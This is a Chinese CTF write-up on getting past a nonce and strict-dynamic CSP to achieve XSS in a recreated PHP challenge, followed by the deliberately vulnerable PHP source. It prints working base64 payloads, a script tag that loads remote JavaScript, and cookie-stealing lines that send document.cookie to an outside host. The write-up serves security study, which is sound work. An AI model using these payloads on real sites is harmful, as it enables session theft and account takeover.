之前CTF做的一道需要绕过CSP的XSS题目,具体的代码没记下来,这里写个类似的来复现。

题目分析

这里由于是本地写的类似程序,目标为弹框显示“1”即可。

访问目标站点,如下图所示,看到提示输入URL:

啥也不输入,点击Go,发现URL栏多了name参数和url参数:

查看源码,发现查看不到页面上显示的“Mi1k7ea”,推测应该是动态插入DOM生成的吧,右键查看元素,看到如下结构:

其中在header头和最后各包含一段JS代码,其中的script标签都含有nonce属性,推测应该是采用了CSP策略,多次访问nonce属性值都不一样,即是随机生成的。中间是URL栏中name参数的插入点,插入到id为”yourname”的a标签中显示到页面中。

这里可以看到,header头的JS代码是对DOM的动态操作,$(document).read即页面加载完执行;最后的JS代码为处理URL和创建Node,然后被前面的JS动态插入DOM节点中。

既然涉及到了CSP,抓包看看它设置的策略吧:

其CSP设置如下:

Content-Security-Policy: default-src ‘none’; script-src ‘nonce-96a80ac6288a465630f4e631bf2f192e’ ‘strict-dynamic’; base-uri ‘self’; style-src ‘self’; font-src ‘self’

关键点应该是前两个,即default-src ‘none’;和script-src ‘nonce-xx’ ‘strict-dynamic’;

因为前面header头的JS是动态添加DOM节点的,推测应该和strict-dynamic这个相关,可参考black hat 2017关于script gadgets绕过CSP

XSS payload注入

从前面的题目分析可知,页面的输入点有两处,即GET方式的name参数和url参数。

其中name参数是输入到id为”yourname”的a标签中,尝试对其进行XSS测试,发现会直接返回输入的内容,即已经实体编码了,利用点应该不在这:

另一个参数url,可通过input栏输入提交,尝试输入标签内容,发现提示输入内容为非法URL:

那就输入一个外部URL地址如本博客,发现提示只能输入服务端本身的URL,即应该限定了只能输入访问本地的URL,并且限制了只能是协议://ip:port这种形式才能正常执行:

本地有个test.txt文件可以访问,输入该文件地址,可以查看到页面将文件内容直接输出到pre标签中,这里可以推测,后台应该是调用file_get_content()来获取目标URL内容的:

那么问题来了,限制了只能通过协议://ip:port这种形式来作为开头输入,并且限定只能是服务端的IP,那不就没法注入XSS payload了?

当时卡在这里卡了很久,后面发现,这是PHP的题目,是不是可以利用PHP伪协议?要想输入的内容能显现在页面中,能与之相关联的伪协议即data://伪协议。

测试一下,在输入框输入:

1
2
data://127.0.0.1/;base64,PGltZz4=
其中PGltZz4=为<img>的base64编码结果

检查元素可以看到,img标签成功插入到页面中显示出来。

接下来直接插入script标签尝试弹框:

1
2
data://127.0.0.1/;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为<script>alert(1)</script>的base64编码结果

发现标签是插进去了,但是没有弹框,意料之中,我们的script标签没有nonce值,被CSP策略拦截不可执行了:

CSP绕过

关于CSP绕过,这里主要有两种方式。主要参考自CSP策略及绕过方法

利用浏览器补全功能绕过

由前面知道,我们的script标签由于没有nonce,而CSP中设置的其中一条 script-src ‘nonce-xx’ ‘strict-dynamic’; 限定了有随机nonce值或由有nonce的标签动态生成的script才能执行。

这里关注前面的script-src ‘nonce-xx’,我们想一下,是不是可以劫持某个script标签的nonce属性呢?

在参考的文章中说到:

也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

我们回过头来看看页面代码布局,可以看到在插入的标签后面在一段拥有nonce属性的script标签,就是它了:

构造payload:我们需要先闭合掉前面的pre和form标签,然后再插入script标签;在script标签中,先写入包含远程恶意js代码文件的src属性,再添加a=”。即

1
2
将 </pre></form><script src="http://192.168.248.1/a.js" a="  Base64加密即可
data://127.0.0.1/;base64,PC9wcmU+PC9mb3JtPjxzY3JpcHQgc3JjPSJodHRwOi8vMTkyLjE2OC4yNDguMS9hLmpzIiBhPSI=

直接输入payload访问:

成功弹框,没有问题。

再看一下页面元素:

这里再解释一遍,把pre和form标签闭合之后,输入<script src=xxx a="的内容,由于浏览器的补全功能,a标签的双引号会和最后的script标签的第一个元素即type的双引号闭合掉,从而使中间的内容即第一个红框内的内容无效,导致后面的内容自己成为新的属性,包括nonce属性,从而成功劫持了最后的script标签的nonce属性为插入的script属性,最终成功执行。

但是上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。

利用strict-dynamic结合gadget绕过

这里探讨第二种方法。

前面知道,CSP设置了strict-dynamic,结合查阅的Black Hat 2017的文章可知,我们可以在页面上找一个可以动态生成DOM节点的JS Gadget,然后通过某些方式来劫持其中的DOM节点元素,从而使动态生成的标签可以继承该Gadget的nonce直接执行JS代码。

我们再分析一遍源码:

由之前的分析知道,最后的script标签中是处理URL和创建节点,然后再被head处的JS动态插入到DOM节点中。DOM元素id即为全局变量。我们注意到最后的script标签的JS代码中定义了一个全局变量i,而i在head处的JS代码中被动态添加到id为forminput的标签中(即绿框框中的div标签),并且当i.name不为空时,将i.name的值设置到id为yourname的标签中(即绿框框中的a标签)。这里看到,div标签在a标签前面,也就是说,我们可以通过闭合使最后的JS代码失效,从而可以劫持i,再通过i来创建新标签来劫持yourname;最后看到蓝框,params[“name”]可以通过创建一个新的标签,其分别有两个属性,id属性值为params,name属性值为要执行的JS代码,接着将id为yourname的标签设置为script标签即可(因为蓝框中的代码就是将id为params的标签的name属性值放入id为yourname的标签中,进而实现将恶意Js代码放入script标签中)。由strict-dynamic知,head的JS代码动态创建的JS是受信任的,因此该动态创建的script标签可以执行恶意JS代码。

构造payload:先闭合掉pre和form标签,至于最后面的script可以通过在最后输入<script>来使其失效;id为yourname的标签为script标签,但该标签没有name属性、需要多输入一个包含name属性且id为params的标签;因此,劫持i的标签需可以内嵌多个标签。

1
</pre></form><div id="i"><script id="yourname"></script><a id="params" name="alert(1)" />></div><script>

当然div标签可以换成span、form等,textarea标签可换成input、textarea、button、iframe、object等标签,效果一样。

Base64编码后添加到data://伪协议后面构造最终payload:

1
data://127.0.0.1/plain;base64,PC9wcmU+PC9mb3JtPjxkaXYgaWQ9ImkiPjxzY3JpcHQgaWQ9InlvdXJuYW1lIj48L3NjcmlwdD48YSBpZD0icGFyYW1zIiBuYW1lPSJhbGVydCgxKSIgLz4+PC9kaXY+PHNjcmlwdD4=

直接输入运行,弹框了:

查看元素,看到箭头处输入的script标签将后面的JS代码闭合失效了,而在红框id为forminput的div标签内,动态创建了id为i的div标签,该标签内含有一个id为yourname的script标签和id为params、name为恶意JS代码的a标签:

至此,我们成功利用strict-dynamic结合gadget来绕过CSP实现XSS弹框了。

能够弹框,就肯定能够执行其他XSS payload了,如返回cookie的payload如下:

1
2
3
</pre></form><div id="i"><script id="yourname"></script><a id="params" name="window.open('//a.com/?'+escape(document.cookie))" />></div><script>

</pre></form><div id="i"><script id="yourname"></script><a id="params" name="window.location.href='http://a.com/?cookie='+document.cookie" />></div><script>

模仿写的源码

以下为模仿写的代码,仅供参考练习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$this_host = $_SERVER['HTTP_HOST'];
setcookie('flag', 'xxctf{Mi1k7ea}');
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'strict-dynamic'; base-uri 'self'; style-src 'self'; font-src 'self'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
<script type="text/javascript" src="/static/jquery-3.3.1.js" nonce=<?php echo $nonce;?>></script>
<script type="text/javascript" nonce=<?php echo $nonce;?>>
$(document).ready(function(){
$("#forminput").append(i);
if (location.search.indexOf("name=") != -1) {
$("#yourname").text(params["name"])
};
})
</script>
</head>
<body>
<form action="csp.php" method="get">
<div id="forminput">
<input type="text" name="name" value="Mi1k7ea" hidden="true">
<button type="submit">Go</button>
</div>
<h3>Hi, <a id="yourname"></a> :)</h3>
<?php
if (isset($_GET['url'])) {
$x = @$_GET['url'];
if (filter_var($x, FILTER_VALIDATE_URL)) {
$r = parse_url($x);
if (isset($r['port'])) {
$r['host'] = $r['host'].":".$r['port'];
}
if (preg_match("/{$this_host}$/i", $r['host'])) {
$a = file_get_contents($x);
echo ("Result: <pre>".$a."</pre>");
} else {
echo "<script nonce={$nonce}>alert('You can only input {$this_host}')</script>";
}
} else {
echo "Invaild URL!";
}
}
?>
</form>
<script type="text/javascript" nonce=<?php echo $nonce;?>>
url_param = new URL(location.href).searchParams
params = {}
for(value of url_param.keys()){
params[value] = url_param.get(value);
}
var i = document.createElement("input");
i.name = "url";
i.type = "text";
if (location.search.indexOf("post=") != -1) {
i.value = params["post"];
}else{
i.placeholder = "input url...";
}
</script>
</body>
</html>